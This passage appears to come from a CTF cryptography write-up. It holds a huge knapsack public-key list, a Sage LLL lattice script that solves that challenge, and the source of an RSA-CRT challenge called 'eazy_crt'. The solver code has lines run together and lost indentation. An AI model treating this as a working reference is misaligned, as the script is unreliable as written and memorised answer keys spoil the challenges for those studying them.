4648441459048403193053411411766992180972846525653200465612190628868912032291294664865154971461594182717571850836122914505829908175105129754714118127617286357855121973763763228630368858775426431648971962186935468578941753369482662885072860883541971622890128178150178273582498685553857842412514818801142299095, 4596109863075644859742080110299538593831255726960680096195461247868805453661068428047393994056780242248917617304061607403054781332292277833511862421341744544031534452886682517321202068479143723902517554671018018035141935928347364464376313169650242555534688869928932845291408274161266787501340760520625282057, 463630853701521459863531359414083279788548699711866143708630585958264047911169022360773190143485065261971209060024338504228898406234894181734571459295786113238476088275824417275078053644007282110057818184474473233939846679253848664814845942418946002168982888790445186135574483584768054273770091375054272175, 1989228604265179848978172719583277022072693871108199624356504965116026084906203386880966121640375405489420802721871505955549138169314702796015182237682976479640203258988666957517238352060736126467469258146034610481919886873301024307677325029906818187694865110997934515213517437180852912801728581228778801335, 2894684424335076689555546812175766891280708464237541003076969343783199370569476167377429905885141198109867275275696317947455174215929006585613892931580025088122220776135472915567217505623803043353093028106606166990376068121705349906446853892496135688366478663761114289270463120255266642200393824764273499125, 1485022326817274892305571279808557286065465781226887870961052901484086853044731623743486768463579451448555287656795112082483966474527371194500076802338566588180098362502511579511901559413944711978150228011494104271269860800561174312424396676705136591951948960198957282250278873221320881101380544970959246995, 3368629287850429944999771937114703571170949822812598133065957174765555595301809597185287120574016465081754056960863303629037318913208530571508767900500471010585152357846872472990049346231910329309655292783115115111996519558631109492424738793413963715150047150880265030004209646974500342930517147591436673529, 2809231040049855737873300345548115561682630361605397586919912682578627834607584754659968436265035640884946275177488087038699009819749852924865423883707259465035359061758468368825244569564299307412295082204217012608475278667698416436469602244689061289454777576189688854670730742241137991322476896719592292332, 4864818797093722623565677685859543973390112830746624055229533980806776797841282904975131115728026803370048220557163543280992869290309791921228434049251178164637297937040131199463481195381628854238472825207574252067913908248660229385555185853538989480140391767660947306626398553539035746147259767628740867379, 3161787699578209483398863966171574085800635014128618281069563213206491139896398725138401190924103380258144500400444191578719345607242184278747274258431096616541747130659309432467444964436941932912647227442238382897607930968121886411288976594859363208205500851000281213182502397430622427506016546702993920598, 298936111455916005218319008405498717611617206825419328764919507634781850865643086543658723113013059332332515037159152035147012122206490359380372519214253467377146785292907463008070756054363482547197711643996345110028452271850528733915118279277302020161978349315111904197316775887346230256622881306838809598, 1072212344704631655474954308119162944844783442352702067020093741716856174227794280955629713582124285411428110142615233404173709848026131091094306581152880945100698521211222247014933458492734615327271426631906098036666571266527551643593171419805865196273051129160931149501509925183932164684199881914280377140, 2704603728678150989739629605767277626393066999988922361667395961484552907953743812609344420007381913705970957002217890478711230485530220552082885949328288933475780354432537807798027185999439278140266935184724579192801211194740637696931407560425496930767876168566978497180100702724606737995026812851175151510, 4793048963983285365005630459828954488780124123937942409754176935581598672142822294927673059305899145568699731401578980488159388936046157856965265094385066281892574219829063322270522205699605211496801852779518325215030944476690737731348005121894471899844160281349383517409942365449632780346946938731608159424, 1859715936548646455845419479413178774422312985161950374310130269210148733228044627922648764836593293085715379921477975375033182460425533397485516496551383631702651977205214444528722505057805558620731218084651615119945720889734091937054340048214264736342087083334752569796937128093477294860551948823452070802, 2648653405519055563126120033949348770756958365652864010894018479949711010413634771271241270383695927072819473571955357613380794319411272268572615127345824584605817747993049763944584243046253788464735802533475289716726507011169200697819718574060731207016285701812297751905225709420388100231676042361527085631, 902399298528354831910617470499214664684764758377829789392397731484779292882695897690062070317670746517421702463073709757004373498967146698337237097418260734696122218108596174548759370787549119701575128821002178353650005369953728593594289946773399147443652389240316701136809543256059764098745292677374518322, 690202668676538791210603664568631799860588923280022553694882985966578444630499783656365551101450274457969429411651124855225200947313288560919019894653392757215873733341509385539801862996443002340649242191303392708881934423129952735852647693058374431625505773494480938105099315643819150066054487736622871141, 62238787432522887534200603192360089622062946091585102713674006904641141886029293066518680270392099434924969158754889024745942371154076898632050465027708402577439328499071844298914060955646068460492239891682602476755456621671722394287077314933390101676863980939291156676325336514171930867856508595487692145, 4498581815207429220335336234723411109719272173854990468988522062805955969918153416657532640400384519206627851513541518299521870417380935969587733563542292037367915041845330412114022778335157644792327106050648499546694994002498826488323373364550931922886104426049916834204671448918161434198869904124403278995, 137919517222077357958721039648537998710746338888619918310003966073654001951559043579951686492648475255168671678920972418237222073230785420357747079126552659919189779571908592758404061765285798681316786778803951576058254892529353960308277484316432278588798175607364924362064461157663121274302341293234554295, 963320951682746474948918340221934619633678838056946552807161203764147617332064268096801220902845408313508368961258405214620950881290140055648845713715332647144747225171523092505682498174376999458059078149909864464322591445769117764684416698286436252489848360749644537840466325440337825677763722793716864623, 4885602959986614652377424535547189116300277964310401095260572199856818264420985915168391676715081237571987012608140953037062551063327034601236310960718242243451886444459246219537697345635971045611224448418773940984503512378817787729668322287171390150300146863780647810273375601755353825561961908527177311181, 2590009580290883045573418540941311938753759633204231433083861843364502013472411498943442961976853913144939790786678173696377721960076101642153679207720260195752937341089964488972962640556198263318293219221394310072139874140537743489762817011091009107411982792043751159922556996853646244357653004507214597058, 1638336479121628186217591304292595119981887813505325501571927265176958614759234284932252533500015984404886180003283900360346486921159127613007201740197512184281567461775471315597257551762280142845910630840299947810921442472246518300677770137177223950966518178001466063823539285012493058707147368364332115164, 1516643878817907245558142590275742404111377739383508867465577340757896542806545387233431663180817336078283867831082565562665279549432357526775110561376728878859177720496058548565124439257502970340180532953383978926785728994825484050669558706850212255873635477670086058811856907415283430515533172487399378274, 3571575919774843795809987590634639992815093753350989111959747273533418855538915042427620624165146576499947452197498902305144952906262280122195759801605730303129760600738689199013160480690981795041883223111870567112890598671951648983741013067130856018508187664971392384261967897957026323815896861673800213699, 4892405224139405138388846809089270235911462164325537891486888642227446473345997460358743147467633475796545722341227988141409434486523866294518661075106562286153413152233306430442827829632967492313744232679328416137838315917602104151324368262957064766286604952788401496240916745109772787628981439323531837299, 4139350868482375358339910066853624024531327148056190749175082564010988743823574777152016307130426492927014525748065673178492880993420444133796587940917806554700273235145284394241723674331148211661726146595019992296609552930439784043166676085772198609820124502036007205921413995690204616816567543919980160811, 2230383020979284880891905031743834227634535315823157418422883748851534397712332186516575856971368454910657925518011118669868163044897919515357026516058294821818050772766219517313345668759905094278321760037810704275127080345478458330191026003003979270067445682814573085218396067178577972486225156585166908357, 600717652933852348785246481199088283108667005937624855304433140679453331083355624248530716724543658308743710695407144109366744474306911650526299722212721798603058665309743574106143736804538659126858220138644486645359248829113324069217677121341197941443376697792885174330761793247161646365337801457957353844, 3874769500068113810375777753884262810866197220705226526123994576906003186414997192360044004832042036453504148948662280692119219086523474160158739574928869693520833949650734363282471581031494818511158828241471233101695653444448087750082973343427750452390768076850353785544751632497603206700449774872192194338, 2072368176937193613059026532688722155730088741184556280298605967854670610282377376328901352435510310588270572248759041546929204649260736099372300574456612007738840615023991077102796460490561053319384753051666140994311715140505170420218926658750165107170709888130219894717927374586081756783981173350944564221, 3785376083139098308225690314286115484579435805433563365120819944421108366180510529788157039129479454196614632666396226191252771458750237495289308484215387596080260948500737994578604935113142858051672458230870728071977189474943949521390971506914250381722727702146816621546824978358371856694431696766797444155, 1918537524331696381673070605791047667470286457618508299829910326378178061970538920679594027530639579124054900062429999836054481871528662115860102208152254307971184134474012376729074369205059116699757627578786205134190217248746066205229236747644594618823161878275036213477025746696759058880901648240233007086, 1817188767220833631271873639811871838479461092766186483843817261364747051499083639606567575261541777187985956040163261432895005949438845291636450615584137911535788845603450141149697113939818344011057818713886138243287812881489557492610496221323519132608143703624821322965021979541362291272917581690087374090, 3922832436064754882306286084489950978972139075898255929466337727544166204964518677738636809180382408786555594017425804508240627876380956970226542341557503689993125204111221879047903070112641107838797233555678772352866785661402004252572749534532488624261947127172892006840936477264194851238646563649868372470, 1369172038853042365190484148440142162789753563597497968554529636813520603906106681701728167343239759817105474912038981139503730405333681563855063743028140865210049255421785881304209585730747339032027988980222250401581198405994510128408811710945765532658538210862966628032697856674991614488049150366428932746, 2872153658264412654611555687243744986036785021082407940384979752537666878505435964981268889150240861442814518871134623595209963585363657941485769244302032634649984945826087676348791230773749782013983567849673455391637779724751448933223036801548903964391064175456151993427593782992231866341674542090889328365, 3403581544647423496181251419291006976667793282808657346559237885682754795671832923277242795311408422813974295694067272350645456650185197748356514094239126166374601112948085251629310981516117728928786160191013142279197371152949445446894344235205848260714968669966620932215451878316165188813314361731645572840, 114355431206069696052703164409809845400928892821930230606522048914429550319009631243682339063294268976111042752290065555633095585151400072485235493965173290422232657739238559237292310527724092241669210083714237120389817088468776797225868423104343003029719975341337062226735428033783215460493810206799461435, 4628278382511905568764115125918080241144313522718524305785873007473657851969789269703210612516923893435002543993224500380143432890234340014035623934799527424444574779873350607226083576387848014667471723321298799826227601667220533224737762236028003916037934129002515719433476758436360151754218072782267852620, 3457157904052048579481501455935122077426745612804831662131581431545810594868989831508763636519254897653864111608376481441448126148469837986784008967467164463666314348276705247708104436367927475653329874419266596650147330530230861344470728346811425764032117401499917565760390152924363173307490763028118717681, 708489706494584706162487350936181857223079805545505537653091286633163600660318039024004247129003454337133124480221653477918583706532045567501389939287513275762882918562196080535461911324333973107927333100246666103546894439736276751669470247973767144802298488283931470507455968141044564525866074547636011164, 1659010945387796591620207981869259809034975515936124476648814012804306644668750636522042094295869445965547000530174881982002234941875379968678830139280937470868217746099921622973084741537970518892118865465005641049661370341652156131474456562160697023569541373895951887828802224660800352185747398417879864000, 3716858826349234519275810714121370859528489416553942371753890478806758607100907266335145603936571586496062463532671570706197017003040332271928905377375425700844554047917607401918527147456574369275236102292356739852338131283526560211973701318272557812388446033823998469199281365800548915873699385424236123449, 2863589395267786978277806264539367793486766422210907027750783889160759461955663097183512549316722540264894507167939475607291506709477168209227666575390441008367160986099060651162443380779388712986754258084704559783116552287421875165798613648970917253742883669864215319152610707073677356224350198731815545290, 238408066767118076826163734573702979875876234154045695680072501075171678246219587159894494836027299662332588559091082755025722986592156432761122568272693309223165224928373392425103833983258133355995041538928024338386937505431117580068686175327437045473055345936350849514632977150213212303008166299213049459, 70197552317727866028266168479763438693677854547447328876283741160869192682241149080578692647555541218548194703606376327316783061442656261069907680122470557402126144256956154687666973511956188791063861700741764442994015577724689139699026738671019636029741899353734668091736026785048542276099183277497018150, 4544940994365366486602973415852612958825572671941377289753132448185548619277957842883861034953982978615836951363115574484302885251104786265936101256114493001480261369815029677933733346809687814140970528298914049959095425128844618356134235998805620108974822247678663275231407960590929500086759413779275582266, 347288239710827917102883942729192380922431937494378558168991141286786705550195350928713198735231964588141816428846107942013838283761152189327562495268674671484996676135254580544898480581931351163489522958862679365720420782735743219253703312589991277947312231417235248175665908350512767051354728591531769958, 670312358589783873754252327861330102026365609268888787802990853581468555369370102685378771519859186644440920011625687868117015851422916538341850709050565747700425765556716656791334483823216985400089209070529865962269376378878035935906731300851739515458756617682957096547265976494259784934442799959692127514, 4701410383995673142942304321848017424074968137089370243487077019056062315092008079902663769392803238389314718095905251307989379885082225169181633653469254470231092618821522912314961071764042088175163130381277703500567000538394973066122981404110360903491803511388351566319791000234114850972732806181459057717, 2508474993491252774504248340792337172754378435767670446108589528269923687018363215718027101280121124890210414232033038073675216316135041681126623184239887060613337706076805037339834016100997510939270609104679251229541986896258932328733771602725977148245221939445942473170347013740618435010015599591338668531, 3529875203842009355716956568129668140779736916099845705328569337807909580905936209443291368433207056261435179057805326314875839704293952791228853092249760413033607694663452994578650473182110792010600561574406440879538471115531994960940933714437267031731576003999872207013523053324644977052236956312247949047, 514100785207810772232304492110289285660577118135772555763973678868447050637641610984309242707161367822469534946473981623735841552592701021755166777366859744362731190489910612638305143643044049083910703525065196400676431965075860095129559122166306872278155249131289822509619620288737682252798457501988812974, 1339937085447112435727749903317416985769855951244611858247300707868717606717260722306172167757212235371079720858582612142286628514096164472191184862990388816192128868630938912850906936041819167344519739398691297379631088333114097546488950971484285612573698568407315994458433250339595921274168408176650192191, 3484700605261320030470889746513840904958093438446988233913308229650579154379084670210311100454190034073160421440191629935709869170269099095399390895975459919441816790722631776895604990863375141068189013082934815382788564182899127378226851334116849625091722654065356580696683212726740610827340700587289852755, 1964978519523685458040210085245870721052042309393673592964898007348621402116470821744177415295728276401626629648679635257349485298176599678187606779407225829923078899809858735948346435512762938860670720986101660296100805137097704900442836373723914987868854046278607935460140003549074714855283526371996083920, 1446173182880648128021149885621736201961260705283040227178362309943417020701319515762979565059657458189671657957926973875677736831658787252815152856082570583059993343583056045288543263598221910654088405423122332910314966505670240794477296829425542884653594109880223962948342618443955797438871280890312689824, 4518040907200381766302937431227065679569370214334448679719944429716965969752218161777766059512526154216872967027633785750196234997014870541035078982016613606526683923891434621391144754102328208839980205975514179102768798434168752113309888819895108066725721189674367770146477350030654698866579548052991884847, 2854313933136268843356059129162195733439888799285636904573940347527318124624470103983799790288141153410621478399400064715382346957781375119245919660361830090987478838771947462350421286344990657804330824608993151034750833407871448166558855370486157814822355960573064398386435763644788458643643444036207665910, 2775385117060746223662727663369180641513374051979154884563312026253846787926229790998667289531555672019242497573758645579587973129573238204369518829311314398646052797552243510475097729518391123871676209637421245861926574094620583417800474414797769338900240123282369016685209618306536295276255228825934257758, 839455001952454520949446940864085043350458061086690925249684484893025062028863023702735062015092562082059952191937526935456894307000438254101049160111024803524621244658775227270319018591026722889280194855133382841112050441867401321300789169104030741842170008942677193292471399636671716204235209188788677232, 3908035558720849196955259883966629596556121536067432017885747702393138634254718866731014166334012572814495374824338841660943694327787690127331038729194031686837302369134368923848185874177883027067827532278068117662494640329385302967271336339741532856654397820260006464178023996907872386352715390127449855124, 110608779275033133446563493593929805259195595214917145289762501109512529779202352734185127949055109268570315216084589983586822235335972979563511910316011360204616883770788362617589499422502130063407893989381748170922649882104748290455006646031075302527958390476981182562373916060822760215210750975608793894, 4064885970448151543853236263168231852254663621014776566739215252321620939546047007097918927746096348032290006966732116584030756859276558117358201891880562572203473268241908637820350719250732115205978323746912787672814245832726454744768350383611959444354541999674256917453868414908191532556695734015521263882, 3726303214991394833795101721726087234399437946067796408260761472144225221929148776164707369412249820839787324836385615824924493255046641975546322896703591249880547136675736647860981294488098417650649117751916662432544251104258041436938474210976142840511938467518520202598202006976901917397328186425497522412, 3825554658337418777552793226601119070145271399355917645851662512053926171857646367392850363910813345609885384703374128129921901222140856809098519775164469520821424531063247402290531803175182101075940326275017754687014420870259489062502596898069095746914628463421728503702375403383776249882376086695326571189, 465953566058227381783916421203554792603376780657186023894743972802857022292127916173242368943307429220796690300343735422497507513443387572813668292617291673965224294828604907272176628792543229774038157293791924684173766783351307505489661110790857647552982529427720453329793018457745621054015130906664155124, 622222064692577653917829052843975556159483871035466631268835035044634107713016036836001081072444215898076403620864800781592406189008223204400201297741534300561602503366440622272760165202034737263022668083121527813047627655094333586597960819574329979363123028366783363071556994118942348087157808058712768022, 4765455319349831648410707997446554343220825590111058938555927228227853997635168833848457344205883823499496724476221863161825015996928449585492733250163128921126704895897486084992993741652803331126536667190993359104575981423650170843220797970439860596432791932914520473696152171684083060274828560136572748185, 2310469780073393411599511864080618852720733817538038162612389544246560899618516529314314936884384098681602552101121343890473696337038307223665209832292306952767355155574454165803339570730266508519590525848471375217581701907804789045429378115436645098728730047488730913493846258131596661221218619848964560190, 2418080226925438656334420863500465278365628144689728767282735411551196374087466150915767502890676678231420120639060595548294922253222920822659058096854623577549304376409762496674573589613574202275130257622471290270030615716565484444267628444518943797107290090804055918967192164349286500315726991579519224288, 1018010121557142814859857579953951295372851736017103098741296134040428122885938802823874726645513250102222734656477000500282919566760423517750060814361533352194919068089859265043580497447430427077295026801246103620931532095064167345191003430094128259718159324493729236088290107280828566420372088116304162996, 1401030423193870394639326301210243533014467110522721232642647462538515934280863624076201998026609561027681417928965200050103672267361160630360793673508195728003673696283496190475928271241844835436935484895993395459706029493840847402801021230517797327143193670383537868835972317679554486034423287523167511829, 1490041383412215198506274867934299781584567039508645411053495792045933428164990155262476495011759255001511853788151266365119844416882886245309710185319903661588150094818241400749381511442293299551826652717309215281520029793953874667885259046159879869946495676758549628723017620730404280397455899135307773132, 4475975181811685553254663397249408739770067915561731323205311511239916607939766300394455111855510866139587282845613862256728333398164368073832855871468062879212237502823325617168455413723948223438988004734934943119772108485694931428483463163414710814933650821863491547461713916842308249574436128348568133264, 4492210612448635996765505363488934224099871479032477339325361708956990359088024863598882313480226255647662790912463960926702383479414964633585961898837859768073997982619673944886719527894311811688519731240641246991956831280852625221873467843704134302272697329293617795320433943679474854345132270524338499593, 15558252678035118050932898438222155108110132984819125686844400994712677053530222643268204510150512562625889487835322200942375130235985213308805867973527998505828491068751591845205535926979905856685901183017961405716985781612459196261659406308947998810504276286596752746572825095487396856834291917314194998, 1635942608425968482827295759360171433157965152190102842644758338460551345567517118909270674561845214907737479667565744764685653652783339339770997531389589542933187044737108408807976603029813929808335104160942127292378039626848709307355314342094414655389607082842088033684222494008238073279590990550787428053, 2975070253897264270164828904550640573223407893435573791529519202694914437403261015406665725284365053275269833222850446455940086648585277305584015189910476596700361533167944174469720366155588887969797739897585911772836209509910132085857300260718667829621361012827046704171871395511396988442959643144730655121, 4741494236038901553750515482636578094801897145522057336728326126431026724855608165533162812590934023321457978432487562579310748011205460644594340283858270432962958023810559114667612965120894829557813854706315484057231521875384573185162936163627643783501054817877415423016370339324296419354346778659194542752, 3278171272062353454286322795035562196534290743592983893104564145274034269373293750756309310432316891528118148354149665853955941713606848929771833006460256315529079804549321182576023265299531936800829367661482684813675158632792062990528702628430078395219432878590054382725408093667005120463035705670518276629, 2095597170739334202470314322650477851496946384160731125826102996003542351901957046017760885529526526998228966360706974090830844650491530091317137355031428836567690411731495756314737343524691155373581748552663943002394063109927564564416717089014086239003881352824658822225782880488471672668796221582923257446, 1985430799472072955640188547354786954455515585992600280655151096157450050390523295162682551699730230139008589121150790851001973039659796551108954364404262133910624144635760861020394333404092556659892386108112095474168173134150970547178463603706698999784001209080803355841791502336737139098092626248724050324, 1829702481101765279004344145807086182416890562456613688494682728227034241025145086982363510257500136083133409602105763654404939055481191414912001030880022512334917264916534680677510940770660986856102337121351226791457839327793755608463624797215551893194685083720713257079733370855825231455623839222620082955, 4372286683999914020188718950843835659861701019028765326729214866795052073808383907913573736653351880781262491176404714367386817803594876414591790284169309085846621268443790419885186140478574976567498472559459286314446470177962253196612509671424218050487483010428904672163997739451465922748653672422730983253, 1302852773338128033265545922990923372302039523050267108862436786940478738904691588963975331355117078012982612520087441963094130625822620903289691783608495573218891486664387915216034045220850238110545009349777498733723020668428627535821333880886897176722721336771296438796883073310526128085192510621974031284, 2797858476110268723409931785265930452262478528508527724928054416567015499207314490284657921004774742454213555490635963172488494107085723916172210451582833477719251713549895632367882813926536102138043146913662036143269023907427722353256459665657391608086365841473231783296661798464212035662922595014282919396, 3160451912517138800532993410255164188737640347234712361945969879086984070903103048709468781982978801737742743155162677638750530331938991446902514099037485875699179819579208696978477952408474619362752965949052488251594154528819014785193999633493108661206449620891824821827459243289987759652957234826647187225, 2343708863693294629686375321495083341374200056583926660472076995722634792849052179173081034890630960886933206629268123634917565294504777671339447176571605914325430664654727254115827382784285730958380463792310663488802809762379392138586699162453788211659550025521448633891842772479921418951940222592478620215, 3489551799686288014334506698913604704941212738596120002937218055708652565098188012664680908547629982341982399217759878084629000348261330399077497218899428880631315947518112054469062919418605405442258802821673899213199301715250405346858463943050013410009318788899066341963052408736131679461278838522929928157, 311992848972810429298620275347492613075076919352585078541980572267000913811609935719282149934261199118214820144267795102479277827773370151338299538631029339902312413891476671621455673499240776515270228540791798156987913837827265050913602711347848782231803399026868779725595385682713519155153328075142157250, 4214347330947902257356668120670032761960657855315598419052037747046270730687099099995840138344857564924883354670864284436045946144458157407150189985344608928013420185532987375440271650265630795761171332405703795804935347385731277398954402289854990264937863183936940449456418843421641054049783756233069361548, 2940859266396484177046950297747035075581528261421780144745510868833940947436892884317945413009062195131282427353421843599435540870608533427082310371991448263668943446467012234235423224621306853322420530273310915514911199241940074056679489070615132714475376051992021926359767040433525538015681448999840130475, 548689545843352644706594817791916798935926169039949612045704475450748409508729185770761119838346781323621349389866236071081561399243404244714155141544648303063456319671299105257578289200256770470822584813536793412849716239639576718489840572112594326558415000296522178057568395086038325307977947444439726584, 3010616597194407843357011493768226311996779936020447680599396464433460244108289976495251354016971038921869723910916425767809708375534965449476533249836556148335824247603906528120471710941952696238835058653112630048672417388478352533277197269216843020568574350081644829259392323542558433211992623068567120587, 3019610623803670378150124109614457084136511463729400511468609742772703183421166088411788964693121054269684582033658538394387863801162935821173514211807416494847871639762883380956354585377141554057874693736782729284083109897025508501001221985388313011492622269308786778580954670467179237628723090772412112687, 3456892442153552825791351304104038574252790018688305404396377268819034645016022883066037914406379312585085969337036297593280070525728988705071614150752282245087432221796807382606733043785366663725628656854586223132978587170262523695339706648106798869652892275586447545122997251305483029423828330531593932862, 4193891264904205018508618416339352584671260177729807127300165581839925946177491654233681148389862986208122337311124542705343864452023225716889672253282837418417646614418628273445540560433330622877660601426976113551605853446006242952272663778843228585973128206825550195233913898539423600913183064577758873954, 2407092271751215972048043502815295352185546773516241547540131954393962881442406976192613695984710550047628104337671095096288562398963165175105174901769543681359221819469770919839838034620523681406907215858941019567615124144428620683169845150440718190806822128120550572037141734104550025816428879998161395163, 3039493550476778425543542809825749448025108635588378036955529285869960376586265197580300638984618329364749574427197025664340773190456890302653237300995205210799037105036662753909779737156938953274043780496298673796696943846964629986874922271810638448197816494264041708372669503914550421974946711031289926293, 272563939471171309959170153771634996960936135673271731788733495960344692381136945916942568786049312198257035504896323528724744795123861461584401188470438047784934122550029580208910854508579650208127645345281522103783955179458770893145740414884316390448589757892358377113946038280675011779670094858931334018, 1009306484453568367351135445283864445421400747416927875348113619041434905426995057429763003999714625833944790065110156236193433762496836449027911533918382496052921841906644845603304588558649147151365076560589315834895132427621448910997659366530383783672825207059749403704480478042078106649057810914947266177, 4542975725090092875265329818979113790789178531933797517500545146337069005944558101117748676928230913679806069499848090463410223317919708121280722248012871211479222012707693102896914646070681515255920654353954343673955865638894951048393803518037317279313188453889045850947444535024231435650445288167810547649, 454118457391449435805631087371879215687391516501736464944676591913727047323329789900878071826255762280125257514313836387097309893330938135058174163129007190618818722762276953753837663484704199446178647155456216547359467532221735289180135930858545044454711881070673869462577101957394519297680545708551682871, 1635702691731010191983942236732369682553721178949755326872380020576168419895627594750721768640028730725526766600288974800547044582100453085620162260228694559885129457259603249847460965670797863491108618898897657515386424594055752464965242098978185854850317501460275816296862145418447280844274646388414104618, 856474611501935545316620871366412156617051368883411272795003885724971371892129175681512202481819339179865345222683752128830134710440850381281509369656455971140851363726552596227501338928036581146133807719813913358706419049503859123205772834913280680673875610113990715806519852833617669284820587525172592303, 1184851695633196590859530896073053906108307787616752524429376482465869626210628976885827250056034383829298058194689386758516503610156407878349969493521298971808429815854303741756018364323387421074696755820552095597773436027425294236122929051268931281237544341614342480229020965356208060914322588066116834577, 436490649559079673833595532254393109895694521002624466739396689971968069439741668235067091621773920055394757920676172586718759162562223154846243292882123252749573459069094485250559254395147119777548007310781860371866041369226942788307752426438209927604209419711564771259072744340537465392020452342580959696, 4388537304133772715863925316641169075310249482820183896348626469192505828920208159671411483068230837953341786867798126172090049058711846929085459995896179765106731427761260844243991010221357209110209314936043522650394328902532384864309990120987592122633321068101325301231904078972595722775277294596713340213, 2393101447609058423972930395701691663427846813221239320934606678459413504768644926181460017799519382449397718313025961069893544988479646385919424405779326117178588032903929941862027150270119711598802163480952922120187094718686898939410748317800523138265797423665663221828132875519135258017417196723394991589, 2076619377477031848639856175879543470343734230329455509726069209675934720306012788659428906143908031714533138217029168088704862709255685909509412415865310492415529179862803114166904885039563512848807162958978688888862433736068791165778446148630009314317367780254227290580067976686185051291022979661750915754, 3491077294883860264163831470480731798100952316266751074114141651012550304283058960434530180849262526809044918444772385895477880956597558643610336430554267189540135235980259742427410947649578494040773591269499992232386779146605217149697181339334540183232972164203652901657790093101500810462049416615463177546, 1900282698989463723132580002213591610224600569598698293743548176893816262621986651465369623867470701906655323671861637049755140533957531464521427859781669543880016267139703210772613428562790216713087985891753909255158869760207735542707780506499364324239566426940858870670235658504146842251118347853718573687, 845835496189376653886150062538136220529949512316837843552683019639478239138823063495130985204374692468338372257263301271462502177444656561614715214184613422656425547782261460936839766389042333921944045616045486642969616735714861351814153114962802762127416684363023821783147694935652388700962068809263643389, 1692948566193147198415868174132947385960361457234775960996688163030768614452245060590761872803325778389788629611003585774682395160900493537852600395064146263629935684962163363737792411465123735249475890890275593935918443912139384104086401671117297441852839961645132964273067219203682142732326663844844075005, 3901970947731392475716050740298719400950276818247119306832129595796167756242376176561993909746155516755870152152426215315380852798393154894808746740712267603715980983656834079622454549206763317947354722296743984624987127611181689458009296361053627284630345662893605480665829929447703677978777309463029378417, 1577043788886187395642609069164097976028680286900550453860267666151053881614552629192152797547831199391087342194362363394388982584111597031153132134424331287494091263926113657497887818333781008531372953107929672293402747435497312779887642688714378020998413789750803772540267677934581148808295413525216136803, 3276002168563401469280187929611647305197543429976350427130738049281707438362184511160108432124838733957215323976050672988158715407342981430458842450708646678151269772750534404161450465011318453684449149908734823528246992684797781800055195681433678035768369610420102397884004628356347672352589330168248485654, 4411009177016980725472022463786638290635658962658405430390446282357905517369354153749556317880287891619728551571365291772228008250807956164974455402362384308494347027623477843175153409603882541941337758836671784172488496488754902131790649458047942214547960790875638234105693707598046416061433722602277417913, 726307210260821049373144992154409948345637635368877092819523015622922973757990798665952122937220928090928915580354873566840841334710321751558673510023725557920994744241558993161607005593746962259280610204185140150932218256262971149625050424081864893903080125492194257806289021889420725960087352176605476401, 3693547596900043741100931793124522047704999510924569121382660670034074764908100421156413899466991914742739196108134269694588165114035371129093570934464583558551757548295216503767696894203692851680949073578461575940202069273789808433835247367833648763742770751275454183762387380512531453133282161136891481929, 3665167482952187096160406260284763362510646804687123748116392784543398398279641171604017029973718130518368590622397871178112956392132585354286995099639634346724159039575980422514838700663255651434551797666622249188660622202211877423560216079734584070335703175927475594016858689649422345026726688518192776409, 3177225879939950395651618993805008222412532118788273586156368076266815187233402783969056213942565660008399569335649908751056924645159655412260822319346140671522760303386912674853426818989655804583118735050488807630342254022038941207363968463486349805992873818522316215108897954229670433933723727953745569923, 3779028950209214447433161167866672177270317911040016153565684362868472897920954128667548298875972509713229980453212868866709806350382879548859304441713862617068673359830166023396799623627580164606085346085586198750311774006643094309383771953620689844976832117988296867004302713999531851905939505561391164191, 1565404281114657156315837816758658026233033173060800317005770893567963194302658801484623389662992305672382398023818850068525864828775625430086172113834590761904637783666223747194948578977291563029119331359772126904299450508763826664055472843841614023374884939978267540166731011979458675326635019791695565262, 4590612706732938257980684733418322154816988549292312878809124257236458054000997655804894335759227339962003988227969894859099164186023473343838474896521750585481368380309987345243249527717514650369578965067712448623509794751079446662740247787522802157146979933561737569581462646401210202611137277719776325874, 4656134044766857450597560240558144676752410910811435167749159091161696894834586087615774989757513667092954856468407760017560542136316715670693777783679558119131401055537286285519362471310101802489073198581136126447904865719977268401545732467435790881584291255625228947956711968019016045126232778925003004330, 1302442060464287844140958699896819274375020008729351597230040891362445067421212462957400958722642791768192657008363675587123266689147607759102472970553121277399742938912421426476562987172511600083704255430238284187551952036180307899091818953207131942020689197031040878798574298241042445489355623641304509901, 1713371877870224703630049314762946474778920435955283834739126207078713464668904026594605513305271384038631655087342898588084451349187868588684801874090865404001866704899244865655209470792718001015037577763825373010785137282706266173729073167176023660411002299453317075113416538613782092969312114363570614517, 3637726819689145119298859324222689829348828654379242284522514186534374907105449951789577704447855700484656693611649650849292507621631154875853657102526884725384668206346033815730075251973202378946655675542205955142413874296868545263385884125877782563979657700695334466662362949444188725774579230310152088275, 2158102278530231087495034471822326358570676636562730292269287971780457035415439398154664393611400939934545917849558224030371421867959640393291189526256769127344213191071939008079603466136176333380110183758543653357694387470236768742232731622566892872043474084829437398364701172310088532750048770269284101440, 1357917511517266002753494995174534483863311462321496912444365910532975757440009039109426669425460450718165016869719113431933081156266889995971449973598815991564815927350509938427923107101552779751422733194897338044578854890945368216930911437462116835554456903232462472222161348181958293840928247406557674974, 2251018060294798208546405609149289070988382731157357021632370786567727415247731970083169483820553902016645411129588563627592996984294288337792592520936877108974148008787194317828561698272728745048340731096531990558473233518197391710380846601332446583691529730716812953431975867169637715185113349221752268933, 1482068954689822886842025936245442918811660979248644510861339518658861807617708511787281929243096751044401436667087259365497421213702452919894081994558259251364044857153958318631770890533563020667069772553910132699365629867005612637922185970987117180360664807199834536264073950978308314028235946030457178450]

用格求解

B = matrix(ZZ, 256,256)
for i in range(255):B[i,i] = 1B[i,-1] = pub[i]B[-1,-1] = -ciphertext
L = B.LLL()
for row in L:if row[-1] == 0 and all([1 if i==0 or i==1 else 0 for i in row]):print(row)v = ''.join([str(i) for i in row[:-1]])bytes_to_long(int(v,2))

eazy_crt

paper 题,在纸上慢慢写推导公式

from Crypto.Util.number import *
from secret import flag, p, q
from hashlib import *
import randomassert 'flag{' + md5(str(p).encode()).hexdigest() + '}' == flag
assert isPrime(p), isPrime(q)
assert p.bit_length() == 1024, q.bit_length() == 1024m = random.getrandbits(400)
e = 65537
d = inverse(e, (p - 1) * (q - 1))
r1, r2, r3 = getPrime(20), getPrime(20), getPrime(10)dp, dq = d % (p - 1), d % (q - 1)
Sp, Sq = pow(m + getPrime(10), dp, r1 * p), pow(m, dq, r2 * q)
s1, s2 = pow(m, dp % (r1 - 1), r1), pow(m, dq % (r2 - 1), r2)
S_ = Sq + (q * r2) * (int(inverse(q * r2, p * r1)) * (Sp - Sq) % (p * r1))  #S_ = Sp mod p*r1
c1, c2 = (S_ - s1 + 1) % r1, (S_ - s2 + 1) % r2
